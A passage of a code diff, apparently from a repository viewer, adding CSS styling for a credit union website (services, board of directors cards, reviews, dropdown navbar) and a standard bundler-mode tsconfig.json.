color: #c62828; /* color for service titles */
216
+
}
217
+
218
+
/* Service content layout */
219
+
.service-content {
220
+
display: flex;
221
+
justify-content: space-between;
222
+
align-items: center;
223
+
gap: 20px;
224
+
}
225
+
226
+
.text-content {
227
+
flex: 1;
228
+
}
229
+
230
+
.image-content {
231
+
flex: 0 0 250px; /* Fixed width for images */
232
+
}
233
+
234
+
.image-content img {
235
+
width: 100%;
236
+
height: auto;
237
+
border-radius: 8px;
238
+
}
239
+
240
+
/* Call to Action button styling */
241
+
.cta-button {
242
+
display: inline-block;
243
+
background-color: #c62828;
244
+
color: white;
245
+
padding: 15px 25px;
246
+
text-decoration: none;
247
+
text-align: center;
248
+
font-size: 1.2rem;
249
+
font-weight: bold;
250
+
border-radius: 5px;
251
+
margin-top: 30px;
252
+
transition: background-color 0.3s ease;
253
+
}
254
+
255
+
.cta-button:hover {
256
+
background-color: #b71c1c;
257
+
}
258
+
259
+
/* Add some padding between each section */
260
+
#creditunion-services + #creditunion-services {
261
+
margin-top: 20px;
262
+
}
263
+
264
+
/* Board */
265
+
266
+
/* Board of Directors Section */
267
+
#board-of-directors {
268
+
margin-bottom: 30px;
269
+
}
270
+
271
+
#board-of-directors h2 {
272
+
font-size: 2rem;
273
+
color: black;
274
+
margin-bottom: 20px;
275
+
font-weight: bold;
276
+
text-align: center;
277
+
}
278
+
279
+
#board-of-directors h3 {
280
+
font-size: 1.6rem;
281
+
color: #333;
282
+
margin-top: 20px;
283
+
font-weight: bold;
284
+
}
285
+
286
+
#board-of-directors p {
287
+
font-size: 1rem;
288
+
color: #555;
289
+
line-height: 1.6;
290
+
}
291
+
292
+
/* Board member layout */
293
+
.board-member {
294
+
display: flex;
295
+
align-items: center;
296
+
margin-bottom: 20px;
297
+
padding: 15px;
298
+
background-color: #f9f9f9;
299
+
border: 1px solid #ddd;
300
+
border-radius: 8px;
301
+
}
302
+
303
+
.board-member-image {
304
+
margin-right: 20px;
305
+
flex-shrink: 0;
306
+
}
307
+
308
+
.board-member-image img {
309
+
width: 100px; /* Fixed size for the image */
310
+
height: 100px;
311
+
border-radius: 50%; /* Make the image circular */
312
+
object-fit: cover; /* Ensures the image fits within the circle */
313
+
}
314
+
315
+
.board-member-info {
316
+
flex-grow: 1;
317
+
}
318
+
319
+
.board-member-info h4 {
320
+
font-size: 1.4rem;
321
+
color: #333;
322
+
margin: 0;
323
+
font-weight: bold;
324
+
}
325
+
326
+
.board-member-info p {
327
+
font-size: 1rem;
328
+
color: #555;
329
+
margin-top: 5px;
330
+
line-height: 1.6;
331
+
}
332
+
333
+
/* Add hover effect for the board member items */
334
+
.board-member:hover {
335
+
background-color: #eef2f9;
336
+
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
337
+
cursor: pointer;
338
+
}
339
+
340
+
/* Policy Menu Styling*/
341
+
.button-menu {
342
+
display: flex;
343
+
justify-content: center;
344
+
gap: 20px;
345
+
margin-bottom: 40px;
346
+
}
347
+
348
+
.button-menu a {
349
+
display: inline-block;
350
+
padding: 15px 30px;
351
+
background-color: #c62828;
352
+
color: #fff;
353
+
font-size: 16px;
354
+
text-decoration: none;
355
+
border-radius: 4px;
356
+
text-align: center;
357
+
transition: background-color 0.3s ease;
358
+
}
359
+
360
+
.button-menu a:hover {
361
+
background-color: #b71c1c;
362
+
}
363
+
364
+
.button-menu a:active {
365
+
background-color: #002244;
366
+
}
367
+
368
+
/* Reviews for index*/
369
+
.reviews-container {
370
+
max-width: 1200px;
371
+
margin: 20px auto;
372
+
padding: 20px;
373
+
}
374
+
.review {
375
+
display: flex;
376
+
align-items: center;
377
+
background-color: white;
378
+
padding: 20px;
379
+
margin-bottom: 20px;
380
+
border-radius: 8px;
381
+
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
382
+
}
383
+
.review img {
384
+
width: 100px;
385
+
height: 100px;
386
+
border-radius: 50%;
387
+
object-fit: cover;
388
+
margin-right: 20px;
389
+
}
390
+
.review-content {
391
+
max-width: 800px;
392
+
}
393
+
.review-content h3 {
394
+
margin-top: 0;
395
+
color: #333;
396
+
}
397
+
.review-content p {
398
+
color: #555;
399
+
font-size: 1rem;
400
+
line-height: 1.5;
401
+
}
402
+
.review-content p:last-child {
403
+
font-style: italic;
404
+
color: #333;
405
+
}
406
+
407
+
/* Dropdown nav bar */
408
+
409
+
/* Navbar container */
410
+
.navbar {
411
+
overflow: hidden;
412
+
background-color: #b71c1c;
413
+
}
414
+
415
+
/* Links inside the navbar */
416
+
417
+
.navbar a {
418
+
float: left;
419
+
font-size: 16px;
420
+
color: white;
421
+
text-align: center;
422
+
padding: 14px 16px;
423
+
text-decoration: none;
424
+
}
425
+
426
+
/* The dropdown container */
427
+
.dropdown {
428
+
float: left;
429
+
overflow: hidden;
430
+
}
431
+
432
+
/* Dropdown button */
433
+
.dropdown .dropbtn {
434
+
font-size: 16px;
435
+
border: none;
436
+
outline: none;
437
+
color: white;
438
+
padding: 14px 16px;
439
+
background-color: inherit;
440
+
font-family: inherit; /* Important for vertical align on mobile phones */
441
+
margin: 0; /* Important for vertical align on mobile phones */
442
+
}
443
+
444
+
/* Add a red background color to navbar links on hover */
445
+
.navbar a:hover, .dropdown:hover .dropbtn {
446
+
background-color: #9a1a1a;
447
+
}
448
+
449
+
/* Dropdown content (hidden by default) */
450
+
.dropdown-content {
451
+
display: none;
452
+
position: absolute;
453
+
background-color: #f9f9f9;
454
+
min-width: 160px;
455
+
box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
456
+
z-index: 1;
457
+
}
458
+
459
+
/* Links inside the dropdown */
460
+
.dropdown-content a {
461
+
float: none;
462
+
color: black;
463
+
padding: 12px 16px;
464
+
text-decoration: none;
465
+
display: block;
466
+
text-align: left;
467
+
}
468
+
469
+
/* Add a grey background color to dropdown links on hover */
470
+
.dropdown-content a:hover {
471
+
background-color: #ddd;
472
+
}
473
+
474
+
/* Show the dropdown menu on hover */
475
+
.dropdown:hover .dropdown-content {
476
+
display: block;
477
+
}
478
+
479
+
.topnav-right {
480
+
float: right;
481
+
}
+29
tsconfig.json
+29
tsconfig.json
···
1
+
{
2
+
"compilerOptions": {
3
+
// Environment setup & latest features
4
+
"lib": ["ESNext"],
5
+
"target": "ESNext",
6
+
"module": "Preserve",
7
+
"moduleDetection": "force",
8
+
"jsx": "react-jsx",
9
+
"allowJs": true,
10
+
11
+
// Bundler mode
12
+
"moduleResolution": "bundler",
13
+
"allowImportingTsExtensions": true,
14
+
"verbatimModuleSyntax": true,
15
+
"noEmit": true,
16
+
17
+
// Best practices
18
+
"strict": true,
19
+
"skipLibCheck": true,
20
+
"noFallthroughCasesInSwitch": true,
21
+
"noUncheckedIndexedAccess": true,
22
+
"noImplicitOverride": true,
23
+
24
+
// Some stricter flags (disabled by default)
25
+
"noUnusedLocals": false,
26
+
"noUnusedParameters": false,
27
+
"noPropertyAccessFromIndexSignature": false
28
+
}
29
+
}